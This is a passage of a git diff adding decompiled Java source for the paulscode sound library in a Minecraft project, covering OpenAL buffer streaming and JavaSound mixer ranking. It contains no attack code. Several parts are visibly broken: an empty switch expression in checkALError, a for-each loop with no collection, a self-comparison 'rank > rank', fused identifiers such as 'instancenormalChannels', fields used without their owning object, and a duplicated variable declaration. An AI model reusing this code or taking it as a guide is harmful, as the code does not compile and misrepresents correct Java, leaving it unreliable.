+  {
+    if (ALSource != null)
+    {
+
+      try
+      {
+        AL10.alSourceStop(ALSource);
+        AL10.alGetError();
+      }
+      catch (Exception e) {}
+      
+
+      try
+      {
+        AL10.alDeleteSources(ALSource);
+        AL10.alGetError();
+      }
+      catch (Exception e) {}
+      
+      ALSource.clear();
+    }
+    ALSource = null;
+    
+    super.cleanup();
+  }
+  
+
+
+
+
+
+
+
+  public boolean attachBuffer(IntBuffer buf)
+  {
+    if (errorCheck(channelType != 0, "Sound buffers may only be attached to normal sources."))
+    {
+
+      return false;
+    }
+    
+    AL10.alSourcei(ALSource.get(0), 4105, buf.get(0));
+    
+
+
+
+    if ((attachedSource != null) && (attachedSource.soundBuffer != null) && (attachedSource.soundBuffer.audioFormat != null))
+    {
+      setAudioFormat(attachedSource.soundBuffer.audioFormat);
+    }
+    
+    return checkALError();
+  }
+  
+
+
+
+
+  public void setAudioFormat(AudioFormat audioFormat)
+  {
+    int soundFormat = 0;
+    if (audioFormat.getChannels() == 1)
+    {
+      if (audioFormat.getSampleSizeInBits() == 8)
+      {
+        soundFormat = 4352;
+      }
+      else if (audioFormat.getSampleSizeInBits() == 16)
+      {
+        soundFormat = 4353;
+      }
+      else
+      {
+        errorMessage("Illegal sample size in method 'setAudioFormat'");
+      }
+      
+
+    }
+    else if (audioFormat.getChannels() == 2)
+    {
+      if (audioFormat.getSampleSizeInBits() == 8)
+      {
+        soundFormat = 4354;
+      }
+      else if (audioFormat.getSampleSizeInBits() == 16)
+      {
+        soundFormat = 4355;
+      }
+      else
+      {
+        errorMessage("Illegal sample size in method 'setAudioFormat'");
+      }
+      
+
+    }
+    else
+    {
+      errorMessage("Audio data neither mono nor stereo in method 'setAudioFormat'");
+      
+      return;
+    }
+    ALformat = soundFormat;
+    sampleRate = ((int)audioFormat.getSampleRate());
+  }
+  
+
+
+
+
+
+  public void setFormat(int format, int rate)
+  {
+    ALformat = format;
+    sampleRate = rate;
+  }
+  
+
+
+
+
+
+
+
+  public boolean preLoadBuffers(LinkedList<byte[]> bufferList)
+  {
+    if (errorCheck(channelType != 1, "Buffers may only be queued for streaming sources."))
+    {
+      return false;
+    }
+    if (errorCheck(bufferList == null, "Buffer List null in method 'preLoadBuffers'"))
+    {
+      return false;
+    }
+    
+
+
+    boolean playing = playing();
+    
+    if (playing)
+    {
+      AL10.alSourceStop(ALSource.get(0));
+      checkALError();
+    }
+    
+    int processed = AL10.alGetSourcei(ALSource.get(0), 4118);
+    
+    if (processed > 0)
+    {
+      IntBuffer streamBuffers = BufferUtils.createIntBuffer(processed);
+      AL10.alGenBuffers(streamBuffers);
+      if (errorCheck(checkALError(), "Error clearing stream buffers in method 'preLoadBuffers'"))
+      {
+        return false; }
+      AL10.alSourceUnqueueBuffers(ALSource.get(0), streamBuffers);
+      if (errorCheck(checkALError(), "Error unqueuing stream buffers in method 'preLoadBuffers'"))
+      {
+        return false;
+      }
+    }
+    
+    if (playing)
+    {
+      AL10.alSourcePlay(ALSource.get(0));
+      checkALError();
+    }
+    
+    IntBuffer streamBuffers = BufferUtils.createIntBuffer(bufferList.size());
+    AL10.alGenBuffers(streamBuffers);
+    if (errorCheck(checkALError(), "Error generating stream buffers in method 'preLoadBuffers'"))
+    {
+      return false;
+    }
+    ByteBuffer byteBuffer = null;
+    for (int i = 0; i < bufferList.size(); i++)
+    {
+
+
+      byteBuffer = (ByteBuffer)BufferUtils.createByteBuffer(((byte[])bufferList.get(i)).length).put((byte[])bufferList.get(i)).flip();
+      
+
+      try
+      {
+        AL10.alBufferData(streamBuffers.get(i), ALformat, byteBuffer, sampleRate);
+
+      }
+      catch (Exception e)
+      {
+        errorMessage("Error creating buffers in method 'preLoadBuffers'");
+        
+        printStackTrace(e);
+        return false;
+      }
+      if (errorCheck(checkALError(), "Error creating buffers in method 'preLoadBuffers'"))
+      {
+        return false;
+      }
+    }
+    
+    try
+    {
+      AL10.alSourceQueueBuffers(ALSource.get(0), streamBuffers);
+    }
+    catch (Exception e)
+    {
+      errorMessage("Error queuing buffers in method 'preLoadBuffers'");
+      printStackTrace(e);
+      return false;
+    }
+    if (errorCheck(checkALError(), "Error queuing buffers in method 'preLoadBuffers'"))
+    {
+      return false;
+    }
+    AL10.alSourcePlay(ALSource.get(0));
+    if (errorCheck(checkALError(), "Error playing source in method 'preLoadBuffers'"))
+    {
+      return false;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean queueBuffer(byte[] buffer)
+  {
+    if (errorCheck(channelType != 1, "Buffers may only be queued for streaming sources."))
+    {
+      return false;
+    }
+    
+    ByteBuffer byteBuffer = (ByteBuffer)BufferUtils.createByteBuffer(buffer.length).put(buffer).flip();
+    
+
+    IntBuffer intBuffer = BufferUtils.createIntBuffer(1);
+    
+    AL10.alSourceUnqueueBuffers(ALSource.get(0), intBuffer);
+    if (checkALError()) {
+      return false;
+    }
+    if (AL10.alIsBuffer(intBuffer.get(0)))
+      millisPreviouslyPlayed += millisInBuffer(intBuffer.get(0));
+    checkALError();
+    
+    AL10.alBufferData(intBuffer.get(0), ALformat, byteBuffer, sampleRate);
+    if (checkALError()) {
+      return false;
+    }
+    AL10.alSourceQueueBuffers(ALSource.get(0), intBuffer);
+    if (checkALError()) {
+      return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public int feedRawAudioData(byte[] buffer)
+  {
+    if (errorCheck(channelType != 1, "Raw audio data can only be fed to streaming sources."))
+    {
+      return -1;
+    }
+    
+    ByteBuffer byteBuffer = (ByteBuffer)BufferUtils.createByteBuffer(buffer.length).put(buffer).flip();
+    
+
+
+
+
+    int processed = AL10.alGetSourcei(ALSource.get(0), 4118);
+    IntBuffer intBuffer;
+    if (processed > 0)
+    {
+      IntBuffer intBuffer = BufferUtils.createIntBuffer(processed);
+      AL10.alGenBuffers(intBuffer);
+      if (errorCheck(checkALError(), "Error clearing stream buffers in method 'feedRawAudioData'"))
+      {
+        return -1; }
+      AL10.alSourceUnqueueBuffers(ALSource.get(0), intBuffer);
+      if (errorCheck(checkALError(), "Error unqueuing stream buffers in method 'feedRawAudioData'"))
+      {
+        return -1; }
+      if (AL10.alIsBuffer(intBuffer.get(0)))
+        millisPreviouslyPlayed += millisInBuffer(intBuffer.get(0));
+      checkALError();
+    }
+    else
+    {
+      intBuffer = BufferUtils.createIntBuffer(1);
+      AL10.alGenBuffers(intBuffer);
+      if (errorCheck(checkALError(), "Error generating stream buffers in method 'preLoadBuffers'"))
+      {
+        return -1;
+      }
+    }
+    AL10.alBufferData(intBuffer.get(0), ALformat, byteBuffer, sampleRate);
+    if (checkALError()) {
+      return -1;
+    }
+    AL10.alSourceQueueBuffers(ALSource.get(0), intBuffer);
+    if (checkALError()) {
+      return -1;
+    }
+    if ((attachedSource != null) && (attachedSource.channel == this) && (attachedSource.active()))
+    {
+
+
+      if (!playing())
+      {
+        AL10.alSourcePlay(ALSource.get(0));
+        checkALError();
+      }
+    }
+    
+    return processed;
+  }
+  
+
+
+
+
+  public float millisInBuffer(int alBufferi)
+  {
+    return AL10.alGetBufferi(alBufferi, 8196) / AL10.alGetBufferi(alBufferi, 8195) / (AL10.alGetBufferi(alBufferi, 8194) / 8.0F) / sampleRate * 1000.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public float millisecondsPlayed()
+  {
+    float offset = AL10.alGetSourcei(ALSource.get(0), 4134);
+    
+
+    float bytesPerFrame = 1.0F;
+    switch (ALformat)
+    {
+    case 4352: 
+      bytesPerFrame = 1.0F;
+      break;
+    case 4353: 
+      bytesPerFrame = 2.0F;
+      break;
+    case 4354: 
+      bytesPerFrame = 2.0F;
+      break;
+    case 4355: 
+      bytesPerFrame = 4.0F;
+      break;
+    }
+    
+    
+
+    offset = offset / bytesPerFrame / sampleRate * 1000.0F;
+    
+
+
+    if (channelType == 1) {
+      offset += millisPreviouslyPlayed;
+    }
+    
+    return offset;
+  }
+  
+
+
+
+
+
+
+  public int buffersProcessed()
+  {
+    if (channelType != 1) {
+      return 0;
+    }
+    
+    int processed = AL10.alGetSourcei(ALSource.get(0), 4118);
+    
+
+
+    if (checkALError()) {
+      return 0;
+    }
+    
+    return processed;
+  }
+  
+
+
+
+
+
+
+  public void flush()
+  {
+    if (channelType != 1) {
+      return;
+    }
+    
+    int queued = AL10.alGetSourcei(ALSource.get(0), 4117);
+    
+
+    if (checkALError()) {
+      return;
+    }
+    IntBuffer intBuffer = BufferUtils.createIntBuffer(1);
+    while (queued > 0)
+    {
+      try
+      {
+        AL10.alSourceUnqueueBuffers(ALSource.get(0), intBuffer);
+      }
+      catch (Exception e)
+      {
+        return;
+      }
+      if (checkALError())
+        return;
+      queued--;
+    }
+    millisPreviouslyPlayed = 0.0F;
+  }
+  
+
+
+
+
+  public void close()
+  {
+    try
+    {
+      AL10.alSourceStop(ALSource.get(0));
+      AL10.alGetError();
+    }
+    catch (Exception e) {}
+    
+
+    if (channelType == 1) {
+      flush();
+    }
+  }
+  
+
+
+
+
+  public void play()
+  {
+    AL10.alSourcePlay(ALSource.get(0));
+    checkALError();
+  }
+  
+
+
+
+
+  public void pause()
+  {
+    AL10.alSourcePause(ALSource.get(0));
+    checkALError();
+  }
+  
+
+
+
+
+
+  public void stop()
+  {
+    AL10.alSourceStop(ALSource.get(0));
+    if (!checkALError()) {
+      millisPreviouslyPlayed = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+  public void rewind()
+  {
+    if (channelType == 1) {
+      return;
+    }
+    AL10.alSourceRewind(ALSource.get(0));
+    if (!checkALError()) {
+      millisPreviouslyPlayed = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public boolean playing()
+  {
+    int state = AL10.alGetSourcei(ALSource.get(0), 4112);
+    
+    if (checkALError()) {
+      return false;
+    }
+    return state == 4114;
+  }
+  
+
+
+
+
+  private boolean checkALError()
+  {
+    switch ()
+    {
+    case 0: 
+      return false;
+    case 40961: 
+      errorMessage("Invalid name parameter.");
+      return true;
+    case 40962: 
+      errorMessage("Invalid parameter.");
+      return true;
+    case 40963: 
+      errorMessage("Invalid enumerated parameter value.");
+      return true;
+    case 40964: 
+      errorMessage("Illegal call.");
+      return true;
+    case 40965: 
+      errorMessage("Unable to allocate memory.");
+      return true;
+    }
+    errorMessage("An unrecognized error occurred.");
+    return true;
+  }
+}
diff --git a/src/minecraft/paulscode/sound/libraries/LibraryJavaSound.java b/src/minecraft/paulscode/sound/libraries/LibraryJavaSound.java
new file mode 100644
index 0000000..f3c9bfa
--- /dev/null
+++ b/src/minecraft/paulscode/sound/libraries/LibraryJavaSound.java
@@ -0,0 +1,1246 @@
+package paulscode.sound.libraries;
+
+import java.net.URL;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Set;
+import javax.sound.sampled.AudioFormat;
+import javax.sound.sampled.AudioSystem;
+import javax.sound.sampled.Clip;
+import javax.sound.sampled.DataLine.Info;
+import javax.sound.sampled.FloatControl.Type;
+import javax.sound.sampled.Mixer;
+import javax.sound.sampled.Mixer.Info;
+import javax.sound.sampled.SourceDataLine;
+import paulscode.sound.Channel;
+import paulscode.sound.FilenameURL;
+import paulscode.sound.ICodec;
+import paulscode.sound.Library;
+import paulscode.sound.SoundBuffer;
+import paulscode.sound.SoundSystem;
+import paulscode.sound.SoundSystemConfig;
+import paulscode.sound.SoundSystemException;
+import paulscode.sound.SoundSystemLogger;
+import paulscode.sound.Source;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LibraryJavaSound
+  extends Library
+{
+  private static final boolean GET = false;
+  private static final boolean SET = true;
+  private static final int XXX = 0;
+  private final int maxClipSize = 1048576;
+  
+
+
+
+  private static Mixer myMixer = null;
+  
+
+
+
+  private static MixerRanking myMixerRanking = null;
+  
+
+
+
+  private static LibraryJavaSound instance = null;
+  
+
+
+
+  private static int minSampleRate = 4000;
+  
+
+
+
+  private static int maxSampleRate = 48000;
+  
+
+
+
+  private static int lineCount = 32;
+  
+
+
+
+  private static boolean useGainControl = true;
+  
+
+
+
+  private static boolean usePanControl = true;
+  
+
+
+
+  private static boolean useSampleRateControl = true;
+  
+
+
+
+
+
+
+  public LibraryJavaSound()
+    throws SoundSystemException
+  {
+    instance = this;
+  }
+  
+
+
+
+  public void init()
+    throws SoundSystemException
+  {
+    MixerRanking mixerRanker = null;
+    
+    if (myMixer == null)
+    {
+
+      for (Mixer.Info mixerInfo : AudioSystem.getMixerInfo())
+      {
+        if (mixerInfo.getName().equals("Java Sound Audio Engine"))
+        {
+
+          mixerRanker = new MixerRanking();
+          try
+          {
+            mixerRanker.rank(mixerInfo);
+          }
+          catch (Exception ljse)
+          {
+            break;
+          }
+          
+          if (rank < 14) {
+            break;
+          }
+          myMixer = AudioSystem.getMixer(mixerInfo);
+          mixerRanking(true, mixerRanker);
+          break;
+        }
+      }
+      
+      if (myMixer == null)
+      {
+
+        MixerRanking bestRankedMixer = mixerRanker;
+        for (Mixer.Info mixerInfo : AudioSystem.getMixerInfo())
+        {
+          mixerRanker = new MixerRanking();
+          
+          try
+          {
+            mixerRanker.rank(mixerInfo);
+          }
+          catch (Exception ljse) {}
+          
+
+          if ((bestRankedMixer == null) || (rank > rank))
+          {
+            bestRankedMixer = mixerRanker;
+          }
+        }
+        if (bestRankedMixer == null) {
+          throw new Exception("No useable mixers found!", new MixerRanking());
+        }
+        
+        try
+        {
+          myMixer = AudioSystem.getMixer(mixerInfo);
+          mixerRanking(true, bestRankedMixer);
+
+        }
+        catch (Exception e)
+        {
+          throw new Exception("No useable mixers available!", new MixerRanking());
+        }
+      }
+    }
+    
+
+
+    setMasterVolume(1.0F);
+    
+
+    message("JavaSound initialized.");
+    
+    super.init();
+  }
+  
+
+
+
+
+
+  public static boolean libraryCompatible()
+  {
+    for (Mixer.Info mixerInfo : )
+    {
+      if (mixerInfo.getName().equals("Java Sound Audio Engine"))
+        return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  protected Channel createChannel(int type)
+  {
+    return new ChannelJavaSound(type, myMixer);
+  }
+  
+
+
+
+
+  public void cleanup()
+  {
+    super.cleanup();
+    instance = null;
+    myMixer = null;
+    myMixerRanking = null;
+  }
+  
+
+
+
+
+
+
+
+  public boolean loadSound(FilenameURL filenameURL)
+  {
+    if (bufferMap == null)
+    {
+      bufferMap = new HashMap();
+      importantMessage("Buffer Map was null in method 'loadSound'");
+    }
+    
+
+    if (errorCheck(filenameURL == null, "Filename/URL not specified in method 'loadSound'"))
+    {
+      return false;
+    }
+    
+    if (bufferMap.get(filenameURL.getFilename()) != null) {
+      return true;
+    }
+    ICodec codec = SoundSystemConfig.getCodec(filenameURL.getFilename());
+    if (errorCheck(codec == null, "No codec found for file '" + filenameURL.getFilename() + "' in method 'loadSound'"))
+    {
+
+      return false; }
+    URL url = filenameURL.getURL();
+    
+    if (errorCheck(url == null, "Unable to open file '" + filenameURL.getFilename() + "' in method 'loadSound'"))
+    {
+
+      return false;
+    }
+    codec.initialize(url);
+    SoundBuffer buffer = codec.readAll();
+    codec.cleanup();
+    codec = null;
+    if (buffer != null) {
+      bufferMap.put(filenameURL.getFilename(), buffer);
+    } else {
+      errorMessage("Sound buffer null in method 'loadSound'");
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean loadSound(SoundBuffer buffer, String identifier)
+  {
+    if (bufferMap == null)
+    {
+      bufferMap = new HashMap();
+      importantMessage("Buffer Map was null in method 'loadSound'");
+    }
+    
+
+    if (errorCheck(identifier == null, "Identifier not specified in method 'loadSound'"))
+    {
+      return false;
+    }
+    
+    if (bufferMap.get(identifier) != null) {
+      return true;
+    }
+    
+    if (buffer != null) {
+      bufferMap.put(identifier, buffer);
+    } else {
+      errorMessage("Sound buffer null in method 'loadSound'");
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void setMasterVolume(float value)
+  {
+    super.setMasterVolume(value);
+    
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)sourceMap.get(sourcename);
+      if (source != null) {
+        source.positionChanged();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void newSource(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    SoundBuffer buffer = null;
+    
+    if (!toStream)
+    {
+
+      buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+      
+      if (buffer == null)
+      {
+        if (!loadSound(filenameURL))
+        {
+          errorMessage("Source '" + sourcename + "' was not created " + "because an error occurred while loading " + filenameURL.getFilename());
+          
+
+          return;
+        }
+      }
+      
+      buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+      
+      if (buffer == null)
+      {
+        errorMessage("Source '" + sourcename + "' was not created " + "because audio data was not found for " + filenameURL.getFilename());
+        
+
+        return;
+      }
+    }
+    
+    if ((!toStream) && (buffer != null)) {
+      buffer.trimData(1048576);
+    }
+    sourceMap.put(sourcename, new SourceJavaSound(listener, priority, toStream, toLoop, sourcename, filenameURL, buffer, x, y, z, attModel, distOrRoll, false));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void rawDataStream(AudioFormat audioFormat, boolean priority, String sourcename, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    sourceMap.put(sourcename, new SourceJavaSound(listener, audioFormat, priority, sourcename, x, y, z, attModel, distOrRoll));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void quickPlay(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, float x, float y, float z, int attModel, float distOrRoll, boolean temporary)
+  {
+    SoundBuffer buffer = null;
+    
+    if (!toStream)
+    {
+
+      buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+      
+      if (buffer == null)
+      {
+        if (!loadSound(filenameURL))
+        {
+          errorMessage("Source '" + sourcename + "' was not created " + "because an error occurred while loading " + filenameURL.getFilename());
+          
+
+          return;
+        }
+      }
+      
+      buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+      
+      if (buffer == null)
+      {
+        errorMessage("Source '" + sourcename + "' was not created " + "because audio data was not found for " + filenameURL.getFilename());
+        
+
+        return;
+      }
+    }
+    
+    if ((!toStream) && (buffer != null)) {
+      buffer.trimData(1048576);
+    }
+    sourceMap.put(sourcename, new SourceJavaSound(listener, priority, toStream, toLoop, sourcename, filenameURL, buffer, x, y, z, attModel, distOrRoll, temporary));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void copySources(HashMap<String, Source> srcMap)
+  {
+    if (srcMap == null)
+      return;
+    Set<String> keys = srcMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    if (bufferMap == null)
+    {
+      bufferMap = new HashMap();
+      importantMessage("Buffer Map was null in method 'copySources'");
+    }
+    
+
+    sourceMap.clear();
+    
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)srcMap.get(sourcename);
+      if (source != null)
+      {
+        SoundBuffer buffer = null;
+        if (!toStream)
+        {
+          loadSound(filenameURL);
+          buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+        }
+        if ((!toStream) && (buffer != null))
+        {
+          buffer.trimData(1048576);
+        }
+        if ((toStream) || (buffer != null))
+        {
+          sourceMap.put(sourcename, new SourceJavaSound(listener, source, buffer));
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void setListenerVelocity(float x, float y, float z)
+  {
+    super.setListenerVelocity(x, y, z);
+    
+    listenerMoved();
+  }
+  
+
+
+
+
+  public void dopplerChanged()
+  {
+    super.dopplerChanged();
+    
+    listenerMoved();
+  }
+  
+
+
+
+
+  public static Mixer getMixer()
+  {
+    return mixer(false, null);
+  }
+  
+
+
+
+
+  public static void setMixer(Mixer m)
+    throws SoundSystemException
+  {
+    mixer(true, m);
+    SoundSystemException e = SoundSystem.getLastException();
+    SoundSystem.setException(null);
+    if (e != null) {
+      throw e;
+    }
+  }
+  
+
+
+
+
+
+  private static synchronized Mixer mixer(boolean action, Mixer m)
+  {
+    if (action == true)
+    {
+      if (m == null) {
+        return myMixer;
+      }
+      MixerRanking mixerRanker = new MixerRanking();
+      try
+      {
+        mixerRanker.rank(m.getMixerInfo());
+      }
+      catch (Exception ljse)
+      {
+        SoundSystemConfig.getLogger().printStackTrace(ljse, 1);
+        SoundSystem.setException(ljse);
+      }
+      myMixer = m;
+      mixerRanking(true, mixerRanker);
+      
+      if (instance != null)
+      {
+        ListIterator<Channel> itr = instancenormalChannels.listIterator();
+        
+        SoundSystem.setException(null);
+        while (itr.hasNext())
+        {
+          ChannelJavaSound c = (ChannelJavaSound)itr.next();
+          c.newMixer(m);
+        }
+        itr = instancestreamingChannels.listIterator();
+        while (itr.hasNext())
+        {
+          ChannelJavaSound c = (ChannelJavaSound)itr.next();
+          c.newMixer(m);
+        }
+      }
+    }
+    return myMixer;
+  }
+  
+  public static MixerRanking getMixerRanking()
+  {
+    return mixerRanking(false, null);
+  }
+  
+
+  private static synchronized MixerRanking mixerRanking(boolean action, MixerRanking value)
+  {
+    if (action == true)
+      myMixerRanking = value;
+    return myMixerRanking;
+  }
+  
+  public static void setMinSampleRate(int value)
+  {
+    minSampleRate(true, value);
+  }
+  
+  private static synchronized int minSampleRate(boolean action, int value) {
+    if (action == true)
+      minSampleRate = value;
+    return minSampleRate;
+  }
+  
+  public static void setMaxSampleRate(int value) {
+    maxSampleRate(true, value);
+  }
+  
+  private static synchronized int maxSampleRate(boolean action, int value) {
+    if (action == true)
+      maxSampleRate = value;
+    return maxSampleRate;
+  }
+  
+  public static void setLineCount(int value) {
+    lineCount(true, value);
+  }
+  
+  private static synchronized int lineCount(boolean action, int value) {
+    if (action == true)
+      lineCount = value;
+    return lineCount;
+  }
+  
+  public static void useGainControl(boolean value) {
+    useGainControl(true, value);
+  }
+  
+  private static synchronized boolean useGainControl(boolean action, boolean value)
+  {
+    if (action == true)
+      useGainControl = value;
+    return useGainControl;
+  }
+  
+  public static void usePanControl(boolean value) {
+    usePanControl(true, value);
+  }
+  
+  private static synchronized boolean usePanControl(boolean action, boolean value)
+  {
+    if (action == true)
+      usePanControl = value;
+    return usePanControl;
+  }
+  
+  public static void useSampleRateControl(boolean value) {
+    useSampleRateControl(true, value);
+  }
+  
+  private static synchronized boolean useSampleRateControl(boolean action, boolean value)
+  {
+    if (action == true)
+      useSampleRateControl = value;
+    return useSampleRateControl;
+  }
+  
+
+
+
+
+  public static String getTitle()
+  {
+    return "Java Sound";
+  }
+  
+
+
+
+
+  public static String getDescription()
+  {
+    return "The Java Sound API.  For more information, see http://java.sun.com/products/java-media/sound/";
+  }
+  
+
+
+
+
+
+
+  public String getClassName()
+  {
+    return "LibraryJavaSound";
+  }
+  
+
+
+
+
+
+  public static class MixerRanking
+  {
+    public static final int HIGH = 1;
+    
+
+
+
+
+    public static final int MEDIUM = 2;
+    
+
+
+
+
+    public static final int LOW = 3;
+    
+
+
+
+
+    public static final int NONE = 4;
+    
+
+
+
+    public static int MIXER_EXISTS_PRIORITY = 1;
+    
+
+
+
+    public static int MIN_SAMPLE_RATE_PRIORITY = 1;
+    
+
+
+
+    public static int MAX_SAMPLE_RATE_PRIORITY = 1;
+    
+
+
+
+    public static int LINE_COUNT_PRIORITY = 1;
+    
+
+
+    public static int GAIN_CONTROL_PRIORITY = 2;
+    
+
+
+    public static int PAN_CONTROL_PRIORITY = 2;
+    
+
+
+    public static int SAMPLE_RATE_CONTROL_PRIORITY = 3;
+    
+
+
+    public Mixer.Info mixerInfo = null;
+    
+
+
+
+    public int rank = 0;
+    
+
+
+    public boolean mixerExists = false;
+    
+
+
+
+    public boolean minSampleRateOK = false;
+    
+
+
+
+    public boolean maxSampleRateOK = false;
+    
+
+
+
+    public boolean lineCountOK = false;
+    
+
+
+    public boolean gainControlOK = false;
+    
+
+
+    public boolean panControlOK = false;
+    
+
+
+
+    public boolean sampleRateControlOK = false;
+    
+
+
+
+
+    public int minSampleRatePossible = -1;
+    
+
+
+
+    public int maxSampleRatePossible = -1;
+    
+
+
+    public int maxLinesPossible = 0;
+    
+
+
+
+
+
+
+
+
+
+
+    public MixerRanking() {}
+    
+
+
+
+
+
+
+
+
+
+
+    public MixerRanking(Mixer.Info i, int r, boolean e, boolean mnsr, boolean mxsr, boolean lc, boolean gc, boolean pc, boolean src)
+    {
+      mixerInfo = i;
+      rank = r;
+      mixerExists = e;
+      minSampleRateOK = mnsr;
+      maxSampleRateOK = mxsr;
+      lineCountOK = lc;
+      gainControlOK = gc;
+      panControlOK = pc;
+      sampleRateControlOK = src;
+    }
+    
+
+
+
+
+
+    public void rank(Mixer.Info i)
+      throws LibraryJavaSound.Exception
+    {
+      if (i == null) {
+        throw new LibraryJavaSound.Exception("No Mixer info specified in method 'MixerRanking.rank'", this);
+      }
+      mixerInfo = i;
+      
+      try
+      {
+        m = AudioSystem.getMixer(mixerInfo);
+      }
+      catch (Exception e)
+      {
+        throw new LibraryJavaSound.Exception("Unable to acquire the specified Mixer in method 'MixerRanking.rank'", this);
+      }
+      
+      if (m == null) {
+        throw new LibraryJavaSound.Exception("Unable to acquire the specified Mixer in method 'MixerRanking.rank'", this);
+      }
+      mixerExists = true;
+      
+
+
+
+      try
+      {
+        format = new AudioFormat(LibraryJavaSound.minSampleRate(false, 0), 16, 2, true, false);
+        
+        lineInfo = new DataLine.Info(SourceDataLine.class, format);
+      }
+      catch (Exception e)
+      {
+        throw new LibraryJavaSound.Exception("Invalid minimum sample-rate specified in method 'MixerRanking.rank'", this);
+      }
+      
+      if (!AudioSystem.isLineSupported(lineInfo))
+      {
+        if (MIN_SAMPLE_RATE_PRIORITY == 1) {
+          throw new LibraryJavaSound.Exception("Specified minimum sample-rate not possible for Mixer '" + mixerInfo.getName() + "'", this);
+        }
+        
+
+      }
+      else {
+        minSampleRateOK = true;
+      }
+      try
+      {
+        format = new AudioFormat(LibraryJavaSound.maxSampleRate(false, 0), 16, 2, true, false);
+        
+        lineInfo = new DataLine.Info(SourceDataLine.class, format);
+      }
+      catch (Exception e)
+      {
+        throw new LibraryJavaSound.Exception("Invalid maximum sample-rate specified in method 'MixerRanking.rank'", this);
+      }
+      
+      if (!AudioSystem.isLineSupported(lineInfo))
+      {
+        if (MAX_SAMPLE_RATE_PRIORITY == 1) {
+          throw new LibraryJavaSound.Exception("Specified maximum sample-rate not possible for Mixer '" + mixerInfo.getName() + "'", this);
+        }
+        
+
+      }
+      else {
+        maxSampleRateOK = true;
+      }
+      
+
+
+
+
+      if (minSampleRateOK)
+      {
+        minSampleRatePossible = LibraryJavaSound.minSampleRate(false, 0);
+
+      }
+      else
+      {
+        int lL = LibraryJavaSound.minSampleRate(false, 0);
+        int uL = LibraryJavaSound.maxSampleRate(false, 0);
+        while (uL - lL > 1)
+        {
+          int testSampleRate = lL + (uL - lL) / 2;
+          format = new AudioFormat(testSampleRate, 16, 2, true, false);
+          lineInfo = new DataLine.Info(SourceDataLine.class, format);
+          if (AudioSystem.isLineSupported(lineInfo))
+          {
+            minSampleRatePossible = testSampleRate;
+            uL = testSampleRate;
+          }
+          else
+          {
+            lL = testSampleRate;
+          }
+        }
+      }
+      if (maxSampleRateOK)
+      {
+        maxSampleRatePossible = LibraryJavaSound.maxSampleRate(false, 0);
+      }
+      else if (minSampleRatePossible != -1)
+      {
+
+        int uL = LibraryJavaSound.maxSampleRate(false, 0);
+        int lL = minSampleRatePossible;
+        while (uL - lL > 1)
+        {
+          int testSampleRate = lL + (uL - lL) / 2;
+          format = new AudioFormat(testSampleRate, 16, 2, true, false);
+          lineInfo = new DataLine.Info(SourceDataLine.class, format);
+          if (AudioSystem.isLineSupported(lineInfo))
+          {
+            maxSampleRatePossible = testSampleRate;
+            lL = testSampleRate;
+          }
+          else
+          {
+            uL = testSampleRate;
+          }
+        }
+      }
+      
+      if ((minSampleRatePossible == -1) || (maxSampleRatePossible == -1)) {
+        throw new LibraryJavaSound.Exception("No possible sample-rate found for Mixer '" + mixerInfo.getName() + "'", this);
+      }
+      
+
+
+      AudioFormat format = new AudioFormat(minSampleRatePossible, 16, 2, true, false);
+      Clip clip = null;
+      try
+      {
+        DataLine.Info clipLineInfo = new DataLine.Info(Clip.class, format);
+        
+        clip = (Clip)m.getLine(clipLineInfo);
+        byte[] buffer = new byte[10];
+        clip.open(format, buffer, 0, buffer.length);
+      }
+      catch (Exception e)
+      {
+        throw new LibraryJavaSound.Exception("Unable to attach an actual audio buffer to an actual Clip... Mixer '" + mixerInfo.getName() + "' is unuseable.", this);
+      }
+      
+
+
+
+
+      maxLinesPossible = 1;
+      DataLine.Info lineInfo = new DataLine.Info(SourceDataLine.class, format);
+      SourceDataLine[] lines = new SourceDataLine[LibraryJavaSound.lineCount(false, 0) - 1];
+      
+      int c = 0;
+      
+      for (int x = 1; x < lines.length + 1; x++)
+      {
+        try
+        {
+          lines[(x - 1)] = ((SourceDataLine)m.getLine(lineInfo));
+        }
+        catch (Exception e)
+        {
+          if (x == 0) {
+            throw new LibraryJavaSound.Exception("No output lines possible for Mixer '" + mixerInfo.getName() + "'", this);
+          }
+          
+          if (LINE_COUNT_PRIORITY == 1) {
+            throw new LibraryJavaSound.Exception("Specified maximum number of lines not possible for Mixer '" + mixerInfo.getName() + "'", this);
+          }
+          
+          break;
+        }
